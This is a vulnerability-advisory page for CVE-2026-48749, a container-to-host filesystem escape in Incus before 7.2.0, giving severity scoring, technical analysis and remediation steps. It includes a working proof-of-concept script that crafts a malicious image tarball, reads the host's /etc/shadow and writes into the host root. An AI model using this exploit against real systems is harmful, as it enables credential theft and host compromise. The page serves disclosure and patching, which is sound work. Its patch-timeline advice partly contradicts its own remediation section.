What is the CVSS score of EUVD-2026-63976?

EUVD-2026-63976 has a CVSS 3.1 base score of 9.9 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.8%.

Which versions of Incus are affected by EUVD-2026-63976?

Incus container management systems contain a critical vulnerability (CVE-2026-48749) that allows users with image import and instance creation permissions to escape container isolation and gain…. A patch is available.

Is there a public PoC exploit available for EUVD-2026-63976?

Yes, a public proof-of-concept exploit is available for EUVD-2026-63976. Prioritise patching immediately. EPSS: 0.8%.

How to fix or mitigate EUVD-2026-63976?

Within 24 hours: Identify and document all Incus deployments running versions before 7.2.0; restrict image import and instance creation capabilities to only trusted administrators; enable comprehensive audit logging for all container management operations. Within 7 days: Implement network-level segmentation to isolate vulnerable Incus infrastructure from sensitive systems; establish continuous monitoring for suspicious image imports and unauthorized file access patterns; contact Incus vendor to confirm patch timeline. Within 30 days: Upon patch release, deploy Incus 7.2.0 or later; validate remediation in test environment before production; conduct forensic audit of logs to identify exploitation attempts.

Incus EUVD-2026-63976

| CVE-2026-48749 CRITICAL

External Control of File Name or Path (CWE-73)

2026-06-26 https://github.com/lxc/incus

GHSA-2q3f-q5pq-g8wv

Code Injection Red Hat

9.9

CVSS 3.1 · Vendor: https://github.com/lxc/incus

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY

9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vuln.today AI

9.9 CRITICAL

Daemon API is network-reachable (AV:N) and the attack is reliable (AC:L) but needs an account able to import images/create instances (PR:L); container-to-host escape is a scope change (S:C) with full host C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SUSE

CRITICAL

qualitative

Red Hat

9.9 CRITICAL

qualitative

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jun 26, 2026 - 19:20 vuln.today

Analysis Generated

Jun 26, 2026 - 19:20 vuln.today

CVE Published

Jun 26, 2026 - 18:31 github-advisory

CRITICAL 9.9

DescriptionCVE.org

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

AnalysisAI

Container-to-host filesystem escape in Incus before 7.2.0 lets a user who can import images and create instances read and write arbitrary files on the host as root. A malicious image carrying a duplicate top-level 'rootfs' symlink (rootfs -> /) passes image validation, and the stopped-container file API later chroots into that symlinked path via forkfile, exposing the host root filesystem through 'incus file pull/push'. A working proof-of-concept is published in the GitHub Security Advisory (GHSA-2q3f-q5pq-g8wv); publicly available exploit code exists, but there is no public exploit identified beyond the PoC and the CVE is not in CISA KEV.

Technical ContextAI

Incus is a system container and virtual machine manager (a community fork of LXD) written in Go; the affected code lives in the incusd daemon (pkg:go/github.com/lxc/incus/v7/cmd/incusd). The flaw is a path/symlink handling weakness classed as CWE-73 (External Control of File Name or Path). Incus considers an image valid as soon as it observes a standard 'metadata.yaml' plus a 'rootfs/' directory entry, but full tar extraction subsequently processes a second, duplicate top-level 'rootfs' entry that is a symlink to an attacker-chosen path (e.g. '/'). When the stopped-container file API opens d.RootfsPath() and hands that file descriptor to the forkfile helper, forkfile chroots into the symlink target, so file operations intended for the container's rootfs instead operate on the host filesystem with root privileges.

RemediationAI

Vendor-released patch: 7.2.0 - upgrade Incus to 7.2.0 or later, which corrects the image validation/extraction so a duplicate top-level 'rootfs' symlink is no longer trusted; see the advisory at https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv. Until you can upgrade, restrict who can import images and create instances: only allow image imports from trusted sources and avoid importing untrusted/third-party image tarballs (the attack requires a crafted image), and tighten Incus project/RBAC permissions so untrusted or low-trust accounts cannot run 'incus image import' or 'incus init' (trade-off: this reduces self-service capability for legitimate users). Where feasible, avoid using 'incus file pull/push' against instances built from untrusted images, since that API path is what triggers the chroot into the symlink. These are compensating controls only; none fully closes the symlink-handling flaw, so patching to 7.2.0 is the real fix.